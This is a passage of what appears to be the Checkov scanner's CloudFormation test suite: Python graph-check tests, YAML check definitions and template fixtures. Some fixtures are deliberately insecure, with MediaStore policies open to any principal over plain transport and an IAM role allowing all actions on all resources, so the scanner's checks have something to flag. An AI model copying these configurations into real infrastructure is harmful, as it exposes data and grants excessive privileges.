BlockType.RESOURCE, 'AWS::EC2::Instance.EC2Instance') self.compare_vertex_breadcrumbs(local_graph, s3bucketsuspended_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::S3::Bucket.S3BucketSuspended') self.compare_vertex_breadcrumbs(local_graph, s3bucketenabled_expected_breadcrumbs, BlockType.RESOURCE, 'AWS::S3::Bucket.S3BucketEnabled') def compare_vertex_attributes(self, local_graph, expected_attributes, block_type, block_name): vertex = local_graph.vertices[local_graph.vertices_block_name_map[block_type][block_name][0]] vertex_attributes = vertex.get_attribute_dict() for attribute_key, expected_value in expected_attributes.items(): actual_value = vertex_attributes.get(attribute_key) if not isinstance(expected_value, dict): self.assertEqual(expected_value, actual_value, f'error during comparing {block_type} in attribute key: {attribute_key}') else: for cfn_func, evaluated_value in expected_value.items(): self.assertIn(cfn_func, actual_value, f'error during comparing {block_type} in attribute key: {attribute_key}') self.assertIn(actual_value[cfn_func], evaluated_value, f'error during comparing {block_type} in attribute key: {attribute_key}') def compare_vertex_breadcrumbs(self, local_graph, expected_breadcrumbs, block_type, block_name): vertex = local_graph.vertices[local_graph.vertices_block_name_map[block_type][block_name][0]] vertex_breadcrumbs = vertex.breadcrumbs self.assertEqual(len(vertex_breadcrumbs), len(expected_breadcrumbs)) if len(expected_breadcrumbs) > 0: for vertex_id, expected_value in expected_breadcrumbs.items(): actual_value = vertex_breadcrumbs.get(vertex_id) self.assertEqual(expected_value, actual_value, f'actual breadcrumbs of vertex {vertex.id} different from' f' expected. expected = {expected_breadcrumbs}' f' and actual = {actual_value}') def compare_vertex_config(self, local_graph, expected_config, block_type, block_name): vertex = local_graph.vertices[local_graph.vertices_block_name_map[block_type][block_name][0]] vertex_config = vertex.config for attribute_key, expected_value in expected_config.items(): # For attributes, we often test against flattened keys like "SecurityGroupIngress.CidrIp" # For config, which is the original nested structure (Properties), we need to traverse if "." in attribute_key: jsonpath_expression = get_jsonpath_from_evaluated_key(attribute_key) match = jsonpath_expression.find(vertex_config) if match: actual_value = match[0].value else: actual_value = None else: actual_value = vertex_config.get(attribute_key) if not isinstance(expected_value, dict): self.assertEqual(expected_value, actual_value, f'error during comparing {block_type} in config key: {attribute_key}') else: if actual_value is None: self.fail(f'Config key {attribute_key} not found') for cfn_func, evaluated_value in expected_value.items(): self.assertIn(cfn_func, actual_value, f'error during comparing {block_type} in config key: {attribute_key}') self.assertIn(actual_value[cfn_func], evaluated_value, f'error during comparing {block_type} in config key: {attribute_key}') ================================================ FILE: tests/cloudformation/graph/graph_runner/__init__.py ================================================ ================================================ FILE: tests/cloudformation/graph/graph_runner/external_graph_checks/complex_jsonpath_if_condition.yaml ================================================ metadata: id: "complex_jsonpath_if_condition" name: "cfn-if" severity: "high" guidelines: "MGUIFDE" category: "general" scope: provider: "aws" definition: and: - cond_type: "attribute" resource_types: - "AWS::ECS::TaskDefinition" attribute: "ContainerDefinitions[?(!@.LogConfiguration)]" operator: "jsonpath_not_exists" ================================================ FILE: tests/cloudformation/graph/graph_runner/external_graph_checks/jsonpath_policy.yaml ================================================ metadata: id: "CKV2_CFN_JSONPATH_POLICY" name: "Jsonpath policy for cloudformation" severity: "high" guidelines: "Mediastore container and objects must not be accessible anonymously" category: "general" scope: provider: "aws" definition: and: - cond_type: "attribute" resource_types: - "AWS::MediaStore::Container" attribute: "Policy.Statement[?(@.Effect == 'Allow' & @.Principal == '*')]" operator: "jsonpath_not_exists" - cond_type: "attribute" resource_types: - "AWS::MediaStore::Container" attribute: "Policy.Statement[?(@.Effect == 'Allow')].Principal.AWS[*]" operator: "jsonpath_not_equals" value: "*" ================================================ FILE: tests/cloudformation/graph/graph_runner/external_graph_checks/simple_graph_check.yaml ================================================ metadata: name: "simple_graph_check" id: "CKV2_TEST_SIMPLE" category: "GENERAL" definition: attribute: "ContainerDefinitions.LogConfiguration.LogDriver" cond_type: "attribute" operator: "exists" resource_types: - "AWS::ECS::TaskDefinition" ================================================ FILE: tests/cloudformation/graph/graph_runner/resources/LambdaFunction.json ================================================ { "Resources": { "LambdaFunction": { "Type": "AWS::Lambda::Function", "Properties": { "FunctionName": "${AWS::AccountId}-${CompanyName}-${Environment}-analysis", "Runtime": "nodejs12.x", "Role": "!GetAtt IAM4Lambda.Arn", "Handler": "exports.test" } } } } ================================================ FILE: tests/cloudformation/graph/graph_runner/resources/MSKClusterLogging.yaml ================================================ Description: MSK Cluster with required properties. Resources: ClusterBadNoLoggingInfo: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 Tags: - Key: yor_trace Value: "mock_trace" ClusterBadNoLoggingDisabled: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: false ClusterCloudWatchLogsGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: true ClusterFirehoseGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: Firehose: Enabled: true Clusters3Good: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: S3: Enabled: true ClusterAllGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: true Firehose: Enabled: true S3: Enabled: true ================================================ FILE: tests/cloudformation/graph/graph_runner/resources/SagemakerNotebookEncryption.yaml ================================================ Description: "Basic NotebookInstance test update to a different instance type" Resources: BasicNotebookInstanceBad: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: !GetAtt ExecutionRole.Arn BasicNotebookInstanceGood: Type: "AWS::SageMaker::NotebookInstance" Properties: InstanceType: "ml.t2.large" RoleArn: !GetAtt ExecutionRole.Arn KmsKeyId: "test_kms_key" ExecutionRole: Type: "AWS::IAM::Role" Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - "sagemaker.amazonaws.com" Action: - "sts:AssumeRole" Path: "/" Policies: - PolicyName: "root" PolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Action: "*" Resource: "*" Outputs: BasicNotebookInstanceId: Value: !Ref BasicNotebookInstance ================================================ FILE: tests/cloudformation/graph/graph_runner/resources/complex_jsonpath_if_condition/example.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: This template deploys microservice to a ECS cluster with Fargate. Parameters: AppName: Description: Tech stack name to use when constructing resource names Type: String ApplicationIAMRole: Description: "IAM Role for the application" Type: String CloudformationBucket: Type: String DockerImage: Description: Placeholder image for the primeval task definition Type: String Default: moodysanalytics.jfrog.io/ env: Type: String Default: dev version: Type: String AWSSSMAgentDockerImage: Description: Image for AWS Amazon SSM Agent Type: String Default: "amazon-ssm-agent" ApplicationPort: Type: String Default: "80" TaskDefMemory: Type: String Default: 2048 TaskDefCPU: Type: String Default: 1024 Conditions: IsTrueCondition: !And - !Equals [ !Ref AWSSSMAgentDockerImage, "amazon-ssm-agent" ] - !Equals [ !Ref ApplicationPort, "80" ] IsFalseCondition: !And - !Equals [ !Ref AWSSSMAgentDockerImage, "amazon-ssm-agent" ] - !Equals [ !Ref ApplicationPort, "81" ] Resources: PassingExample: Type: AWS::ECS::TaskDefinition Properties: Family: !Ref AppName ContainerDefinitions: - !If - IsTrueCondition - Name: amazon-ssm-agent Image: !Ref AWSSSMAgentDockerImage Essential: true Cpu: 0 EntryPoint: [ ] Command: [ "/bin/bash", "-c", "echo hello" ] Environment: - Name: MANAGED_INSTANCE_ROLE_NAME Value: lobadmin-managed-fis-ssm-instance LogConfiguration: LogDriver: awslogs Options: awslogs-group: !Ref SSMLogGroup awslogs-region: !Ref AWS::Region awslogs-stream-prefix: !Ref AppName - !Ref "AWS::NoValue" Cpu: !Ref TaskDefCPU Memory: !Ref TaskDefMemory ExecutionRoleArn: !Sub arn:aws:iam::${AWS::AccountId}:role/${ApplicationIAMRole} TaskRoleArn: !Sub arn:aws:iam::${AWS::AccountId}:role/lobadmin-managed-ecs-instance-default NetworkMode: awsvpc RequiresCompatibilities: - FARGATE Tags: - Key: application_name Value: !Ref AppName FailingExample: Type: AWS::ECS::TaskDefinition Properties: Family: !Ref AppName ContainerDefinitions: - !If - IsFalseCondition - Name: amazon-ssm-agent Image: !Ref AWSSSMAgentDockerImage Essential: true Cpu: 0 EntryPoint: [ ] Command: [ "/bin/bash", "-c", "echo hello" ] Environment: - Name: MANAGED_INSTANCE_ROLE_NAME Value: lobadmin-managed-fis-ssm-instance LogConfiguration: LogDriver: awslogs Options: awslogs-group: !Ref SSMLogGroup awslogs-region: !Ref AWS::Region awslogs-stream-prefix: !Ref AppName - !Ref "AWS::NoValue" Cpu: !Ref TaskDefCPU Memory: !Ref TaskDefMemory ExecutionRoleArn: !Sub arn:aws:iam::${AWS::AccountId}:role/${ApplicationIAMRole} TaskRoleArn: !Sub arn:aws:iam::${AWS::AccountId}:role/lobadmin-managed-ecs-instance-default NetworkMode: awsvpc RequiresCompatibilities: - FARGATE Tags: - Key: application_name Value: !Ref AppName ================================================ FILE: tests/cloudformation/graph/graph_runner/resources/jsonpath_policy/fail_dict.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "fail-dict": { "Type": "AWS::MediaStore::Container", "Properties": { "ContainerName": "fail-dict", "Policy": { "Version": "2012-10-17", "Statement": [ { "Sid": "MediaStoredenyAccess", "Effect": "Allow", "Action": [ "mediastore:GetObject", "mediastore:DeleteObject", "mediastore:DescribeObject", "mediastore:ListItems" ], "Principal": "*", "Resource": "arn:aws:mediastore:${AWS::Region}:${AWS::AccountId}:container/compmediastorecontainer/*", "Condition": { "Bool": { "aws:SecureTransport": "false" } } } ] } } } } } ================================================ FILE: tests/cloudformation/graph/graph_runner/resources/jsonpath_policy/fail_str.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "fail-str": { "Type": "AWS::MediaStore::Container", "Properties": { "ContainerName": "fail-str", "Policy": { "Fn::Sub": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"MediaStoredenyAccess\",\"Effect\":\"Allow\",\"Action\":[\"mediastore:GetObject\",\"mediastore:DeleteObject\",\"mediastore:DescribeObject\",\"mediastore:ListItems\"],\"Principal\":\"*\",\"Resource\":\"arn:aws:mediastore:${AWS::Region}:${AWS::AccountId}:container/compmediastorecontainer/*\",\"Condition\":{\"Bool\":{\"aws:SecureTransport\":\"false\"}}}]}" } } } } } ================================================ FILE: tests/cloudformation/graph/graph_runner/resources/jsonpath_policy/pass_str.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "pass-str": { "Type": "AWS::MediaStore::Container", "Properties": { "ContainerName": "pass-str", "Policy": { "Fn::Sub": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"MediaStoredenyAccess\",\"Effect\":\"Deny\",\"Action\":[\"mediastore:GetObject\",\"mediastore:DeleteObject\",\"mediastore:DescribeObject\",\"mediastore:ListItems\"],\"Principal\":\"*\",\"Resource\":\"arn:aws:mediastore:${AWS::Region}:${AWS::AccountId}:container/ncmediastorecontainer/*\",\"Condition\":{\"Bool\":{\"aws:SecureTransport\":\"false\"}}}]}" } } } } } ================================================ FILE: tests/cloudformation/graph/graph_runner/resources/template_with_parameters_names_identical_to_default_values/example.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Parameters: Foo: Type: String Default: "Foo" Bar: Type: String Default: "Bar" Conditions: Check: !And - !Equals [!Ref Foo, "Foo"] - !Equals [!Ref Bar, "Bar"] FalseCheck: !And - !Equals [!Ref Foo, "NotFoo"] - !Equals [!Ref Bar, "Bar"] Resources: Pass: Type: AWS::ECS::TaskDefinition Properties: Family: my-ecs-task NetworkMode: bridge RequiresCompatibilities: - FARGATE Cpu: "256" Memory: "512" ContainerDefinitions: - Name: my-container Image: amazon/amazon-ecs-sample Cpu: 256 Memory: 512 Essential: true PortMappings: - ContainerPort: 80 HostPort: 80 Protocol: tcp LogConfiguration: !If - Check - LogDriver: awslogs Options: awslogs-group: !Sub "/ecs/${AWS::StackName}/my-container-logs" awslogs-region: !Ref "AWS::Region" awslogs-stream-prefix: my-container - !Ref AWS::NoValue ExecutionRoleArn: !Sub "arn:aws:iam::${AWS::AccountId}:role/ecsTaskExecutionRole" Fail: Type: AWS::ECS::TaskDefinition Properties: Family: my-ecs-task NetworkMode: bridge RequiresCompatibilities: - FARGATE Cpu: "256" Memory: "512" ContainerDefinitions: - Name: my-container Image: amazon/amazon-ecs-sample Cpu: 256 Memory: 512 Essential: true PortMappings: - ContainerPort: 80 HostPort: 80 Protocol: tcp LogConfiguration: !If - FalseCheck - LogDriver: awslogs Options: awslogs-group: !Sub "/ecs/${AWS::StackName}/my-container-logs" awslogs-region: !Ref "AWS::Region" awslogs-stream-prefix: my-container - !Ref AWS::NoValue ExecutionRoleArn: !Sub "arn:aws:iam::${AWS::AccountId}:role/ecsTaskExecutionRole" ================================================ FILE: tests/cloudformation/graph/graph_runner/test_running_graph_checks.py ================================================ import itertools import os import unittest from pathlib import Path import pytest from checkov.cloudformation.runner import Runner from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.registry import Registry from checkov.runner_filter import RunnerFilter class TestRunningGraphChecks(unittest.TestCase): @pytest.mark.skip("Graph checks have not been written yet for cloudformation") def test_runner(self): dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources") report = Runner().run(dir_path) assert any( check.check_id == "CKV2_AWS_24" for check in itertools.chain(report.failed_checks, report.passed_checks)) assert any( check.check_id == "CKV2_AWS_25" for check in itertools.chain(report.failed_checks, report.passed_checks)) assert any( check.check_id == "CKV2_AWS_26" for check in itertools.chain(report.failed_checks, report.passed_checks)) @pytest.mark.skip("Graph checks have not been written yet for cloudformation") def test_runner_sam(self): # given test_dir_path = Path(__file__).parent.parent / "graph_builder/resources/sam" # when report = Runner().run(root_folder=str(test_dir_path), runner_filter=RunnerFilter(checks=["CKV2_AWS_26"])) # then summary = report.get_summary() passing_resources = { "AWS::Serverless::Function.Function1", "AWS::Serverless::Function.Function2", } passed_check_resources = {c.resource for c in report.passed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 0) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) def test_jsonpath_policy(self): test_dir_path = Path(__file__).parent / "resources" / "jsonpath_policy" check_dir = Path(__file__).parent / "external_graph_checks" test_check_registry = Registry( checks_dir=f'{check_dir}', parser=GraphCheckParser() ) # when report = Runner(external_registries=[test_check_registry]).run(root_folder=str(test_dir_path), runner_filter=RunnerFilter(checks=["CKV2_CFN_JSONPATH_POLICY"])) # then summary = report.get_summary() passing_resources = { "AWS::MediaStore::Container.pass-str", } failing_resources = { "AWS::MediaStore::Container.fail-str", "AWS::MediaStore::Container.fail-dict", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) def test_complex_jsonpath_if_condition(self): test_dir_path = Path(__file__).parent / "resources" / "complex_jsonpath_if_condition" check_dir = Path(__file__).parent / "external_graph_checks" test_check_registry = Registry( checks_dir=f'{check_dir}', parser=GraphCheckParser() ) # when report = Runner( external_registries=[test_check_registry]).\ run(root_folder=str(test_dir_path), runner_filter=RunnerFilter(checks=["complex_jsonpath_if_condition"]) ) # then summary = report.get_summary() passing_resources = { "AWS::ECS::TaskDefinition.PassingExample", } failing_resources = { "AWS::ECS::TaskDefinition.FailingExample" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) def test_template_with_parameters_names_identical_to_default_values(self): test_dir_path = Path(__file__).parent / "resources" / \ "template_with_parameters_names_identical_to_default_values" check_dir = Path(__file__).parent / "external_graph_checks" test_check_registry = Registry( checks_dir=f'{check_dir}', parser=GraphCheckParser() ) # when report = Runner( external_registries=[test_check_registry]).\ run(root_folder=str(test_dir_path), runner_filter=RunnerFilter(checks=["CKV2_TEST_SIMPLE"]) ) # then summary = report.get_summary() passing_resources = { "AWS::ECS::TaskDefinition.Pass", } failing_resources = { "AWS::ECS::TaskDefinition.Fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/image_referencer/__init__.py ================================================ ================================================ FILE: tests/cloudformation/image_referencer/provider/__init__.py ================================================ ================================================ FILE: tests/cloudformation/image_referencer/provider/test_aws.py ================================================ from unittest import mock import pytest from checkov.cloudformation.image_referencer.provider.aws import AwsCloudFormationProvider from checkov.common.images.image_referencer import Image from tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \ add_vertices_to_graph_by_graph_framework @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources(graph_framework): # given resource = { "file_path_": "/ecs.yaml", "__endline__": 37, "__startline__": 5, "ContainerDefinitions": [ { "Name": "my-app", "Image": "amazon/amazon-ecs-sample", "Cpu": 256, "EntryPoint": ["/usr/sbin/apache2", "-D", "FOREGROUND"], "Memory": 512, "Essential": True, }, { "Name": "busybox", "Image": "busybox", "Cpu": 256, "EntryPoint": ["sh", "-c"], "Memory": 512, "Command": ['/bin/sh -c "while true; do /bin/date > /var/www/my-vol/date; sleep 1; done"'], "Essential": False, }, ], "resource_type": "AWS::ECS::TaskDefinition", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): aws_provider = AwsCloudFormationProvider(graph_connector=graph) images = aws_provider.extract_images_from_resources() # then assert images == [ Image( file_path="/ecs.yaml", name="amazon/amazon-ecs-sample", start_line=5, end_line=37, related_resource_id="/ecs.yaml:None", ), Image(file_path="/ecs.yaml", name="busybox", start_line=5, end_line=37, related_resource_id="/ecs.yaml:None"), ] @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources_with_no_image(graph_framework): # given resource = { "file_path_": "/ecs.yaml", "__endline__": 37, "__startline__": 5, "ContainerDefinitions": [ { "Name": "my-app", "Cpu": 256, "EntryPoint": ["/usr/sbin/apache2", "-D", "FOREGROUND"], "Memory": 512, "Essential": True, }, ], "resource_type": "AWS::ECS::TaskDefinition", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): aws_provider = AwsCloudFormationProvider(graph_connector=graph) images = aws_provider.extract_images_from_resources() # then assert not images ================================================ FILE: tests/cloudformation/image_referencer/resources/aws/apprunner.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: AppRunner: Type: AWS::AppRunner::Service Properties: ServiceName: hello-app-runner SourceConfiguration: AuthenticationConfiguration: AccessRoleArn: "arn:aws:iam::123456789012:role/my-ecr-role" AutoDeploymentsEnabled: true ImageRepository: ImageIdentifier: "public.ecr.aws/aws-containers/hello-app-runner:latest" ImageRepositoryType: ECR_PUBLIC ImageConfiguration: Port: 8080 InstanceConfiguration: Cpu: 1 vCPU Memory: 3 GB ================================================ FILE: tests/cloudformation/image_referencer/resources/aws/batch.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: Batch: Type: AWS::Batch::JobDefinition Properties: Type: container JobDefinitionName: nvidia-smi ContainerProperties: MountPoints: - ReadOnly: false SourceVolume: nvidia ContainerPath: /usr/local/nvidia Volumes: - Host: SourcePath: /var/lib/nvidia-docker/volumes/nvidia_driver/latest Name: nvidia Command: - nvidia-smi Memory: 2000 Privileged: true JobRoleArn: String ReadonlyRootFilesystem: true Vcpus: 2 Image: nvidia/cuda BatchMultiNode: Type: AWS::Batch::JobDefinition Properties: Type: multinode JobDefinitionName: tensorflow_mnist_deep NodeProperties: MainNode: 0 NumNodes: 2 NodeRangeProperties: - TargetNodes: '0:1' Container: Image: tensorflow/tensorflow:2.10.0-gpu ResourceRequirements: - Type: MEMORY Value: 32000 - Type: VCPU Value: 8 ================================================ FILE: tests/cloudformation/image_referencer/resources/aws/codebuild.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: CodeBuild: Type: AWS::CodeBuild::Project Properties: Name: myProjectName Description: A description about my project ServiceRole: !GetAtt ServiceRole.Arn Artifacts: Type: no_artifacts Environment: Type: LINUX_CONTAINER ComputeType: BUILD_GENERAL1_SMALL Image: public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:3.0 TimeoutInMinutes: 10 ================================================ FILE: tests/cloudformation/image_referencer/resources/aws/ecs.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: Ecs: Type: AWS::ECS::TaskDefinition Properties: RequiresCompatibilities: - "EC2" ContainerDefinitions: - Name: "my-app" MountPoints: - SourceVolume: "my-vol" ContainerPath: "/var/www/my-vol" Image: "amazon/amazon-ecs-sample" Cpu: 256 EntryPoint: - "/usr/sbin/apache2" - "-D" - "FOREGROUND" Memory: 512 Essential: true - Name: "busybox" Image: "busybox" Cpu: 256 EntryPoint: - "sh" - "-c" Memory: 512 Command: - "/bin/sh -c \"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\"" Essential: false DependsOn: - ContainerName: my-app Condition: START VolumesFrom: - SourceContainer: "my-app" ================================================ FILE: tests/cloudformation/image_referencer/resources/aws/lightsail.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: Lightsail: Type: AWS::Lightsail::Container Properties: ContainerServiceDeployment: Containers: - Image: nginx:latest Power: small Scale: 1 ServiceName: lightsail ================================================ FILE: tests/cloudformation/image_referencer/resources/aws/sagemaker_image_version.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MySageMakerImageVersion: Type: AWS::SageMaker::ImageVersion Properties: Alias: "latest" Aliases: - "stable" - "recommended" BaseImage: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-base-image:1.0.0" Horovod: false ImageName: "my-sagemaker-image" JobType: "TRAINING" MLFramework: "TensorFlow" Processor: "CPU" ProgrammingLang: "Python" ReleaseNotes: "Initial release of the custom SageMaker image version." VendorGuidance: "NOT_PROVIDED" SageMakerImage: Type: AWS::SageMaker::Image Properties: ImageName: "my-sagemaker-image" RoleArn: "arn:aws:iam::123456789012:role/SageMakerRole" ================================================ FILE: tests/cloudformation/image_referencer/resources/aws/sagemaker_model.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MySageMakerModel: Type: AWS::SageMaker::Model Properties: ModelName: "my-single-container-model" ExecutionRoleArn: "arn:aws:iam::123456789012:role/SageMakerRole" PrimaryContainer: Image: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image:latest" ModelDataUrl: "s3://my-bucket/path/to/model.tar.gz" Environment: VAR1: "value1" VAR2: "value2" EnableNetworkIsolation: true VpcConfig: Subnets: - "subnet-0123456789abcdef0" - "subnet-0123456789abcdef1" SecurityGroupIds: - "sg-0123456789abcdef0" MySageMakerModel2: Type: AWS::SageMaker::Model Properties: ModelName: "my-multi-container-model" ExecutionRoleArn: "arn:aws:iam::123456789012:role/SageMakerRole" Containers: - Image: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image-1:latest" ModelDataUrl: "s3://my-bucket/path/to/model-1.tar.gz" Environment: VAR1: "value1" VAR2: "value2" - Image: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-inference-image-2:latest" ModelDataUrl: "s3://my-bucket/path/to/model-2.tar.gz" Environment: VAR3: "value3" VAR4: "value4" InferenceExecutionConfig: Mode: "Serial" EnableNetworkIsolation: true VpcConfig: Subnets: - "subnet-0123456789abcdef0" - "subnet-0123456789abcdef1" SecurityGroupIds: - "sg-0123456789abcdef0" ================================================ FILE: tests/cloudformation/image_referencer/test_manager.py ================================================ from unittest import mock import pytest from checkov.cloudformation.image_referencer.manager import CloudFormationImageReferencerManager from checkov.common.images.image_referencer import Image from tests.graph_utils.utils import set_graph_by_graph_framework, add_vertices_to_graph_by_graph_framework, \ GRAPH_FRAMEWORKS @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources(graph_framework): aws_resource = { "file_path_": "/ecs.yaml", "__endline__": 37, "__startline__": 5, "ContainerDefinitions": [ { "Name": "my-app", "Image": "amazon/amazon-ecs-sample", "Cpu": 256, "EntryPoint": ["/usr/sbin/apache2", "-D", "FOREGROUND"], "Memory": 512, "Essential": True, "__startline__": 10, "__endline__": 22, }, ], "resource_type": "AWS::ECS::TaskDefinition", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, aws_resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): images = CloudFormationImageReferencerManager(graph_connector=graph).extract_images_from_resources() # then assert images == [ Image(file_path="/ecs.yaml", name="amazon/amazon-ecs-sample", start_line=5, end_line=37, related_resource_id="/ecs.yaml:None"), ] ================================================ FILE: tests/cloudformation/image_referencer/test_runner_aws_resources.py ================================================ from pathlib import Path from unittest import mock import pytest from pytest_mock import MockerFixture from checkov.common.bridgecrew.bc_source import get_source_type from checkov.common.output.report import CheckType from checkov.runner_filter import RunnerFilter from checkov.cloudformation.runner import Runner from tests.common.image_referencer.test_utils import ( mock_get_empty_license_statuses_async, mock_get_license_statuses_async, mock_get_image_cached_result_async, ) from tests.graph_utils.utils import GRAPH_FRAMEWORKS RESOURCES_PATH = Path(__file__).parent / "resources/aws" @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_apprunner_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "apprunner.yaml" image_name = "public.ecr.aws/aws-containers/hello-app-runner:latest" code_lines = "5-20" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.CLOUDFORMATION) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 1 assert len(tf_report.passed_checks) == 0 assert len(tf_report.failed_checks) == 0 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 3 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl", f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl", f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert ( sca_image_report.image_cached_results[0]["dockerImageName"] == "public.ecr.aws/aws-containers/hello-app-runner:latest" ) assert ( "cloudformation/image_referencer/resources/aws/apprunner.yaml:AWS::AppRunner::Service.AppRunner" in sca_image_report.image_cached_results[0]["relatedResourceId"] ) assert sca_image_report.image_cached_results[0]["packages"] == [ {"type": "os", "name": "tzdata", "version": "2021a-1+deb11u5", "licenses": []} ] assert len(sca_image_report.passed_checks) == 1 assert len(sca_image_report.failed_checks) == 4 